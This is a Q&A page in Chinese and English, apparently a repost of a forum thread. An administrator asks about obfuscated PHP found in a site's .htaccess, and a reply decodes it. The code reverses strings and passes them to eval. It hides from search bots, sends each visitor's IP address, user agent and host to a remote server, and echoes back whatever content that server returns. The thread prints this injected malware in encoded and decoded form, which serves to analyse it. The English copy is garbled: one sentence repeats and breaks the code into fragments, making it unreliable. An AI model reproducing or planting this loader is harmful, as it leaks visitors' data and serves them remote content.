htaccess 中的 s37 函数有什么作用？

发布于 2024-09-29 04:30:32 字数 869 浏览 0 评论 0原文

今天早上发现了一个代码，该代码在我管理的网站的.htaccess 附加的几层下进行编码。代码如下：

function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));

显然函数的细节是反写的。看起来它正在将日志信息发送到远程服务器。有人熟悉这段代码或者它在做什么吗？

原文

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:

function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));

Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?

分享到QQ

分享到微博

如果你对这篇内容有疑问，欢迎到本站社区发帖提问参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。

发布评论

需要登录才能够评论，你可以免费注册一个本站的账号。

撩心不撩汉 2024-10-06 04:30:32

看起来像是非常混乱的统计跟踪代码，但我更倾向于说它是恶意的。如前所述，s37 会反转字符串：

function s37($s)
{
    $e = "";
    for ($a = 0; $a <= strlen($s)-1; $a++ )
    {
        $e .= $s{strlen($s)-$a-1};
    }
    return($e);
}

这又会生成以下代码：

$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{

}
else
{
    @setcookie($z37,md5("stats"),time()+10800);
    $url = @file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
    if (strstr($url,"!go!"))
    {
        $url = explode("!go!",$url);
        $url = $url[1];
        echo $url;

    }

}

用户代理匹配内容会阻止搜索引擎机器人运行代码。否则，对于浏览器，会设置一个 cookie，然后从远程服务器下载一些代码并回显。如果没有更多信息，很难确定下载的代码的用途。

Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:

function s37($s)
{
    $e = "";
    for ($a = 0; $a <= strlen($s)-1; $a++ )
    {
        $e .= $s{strlen($s)-$a-1};
    }
    return($e);
}

This, in turn, generates the following code:

$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{

}
else
{
    @setcookie($z37,md5("stats"),time()+10800);
    $url = @file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
    if (strstr($url,"!go!"))
    {
        $url = explode("!go!",$url);
        $url = $url[1];
        echo $url;

    }

}

The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.

回复收藏 0 原文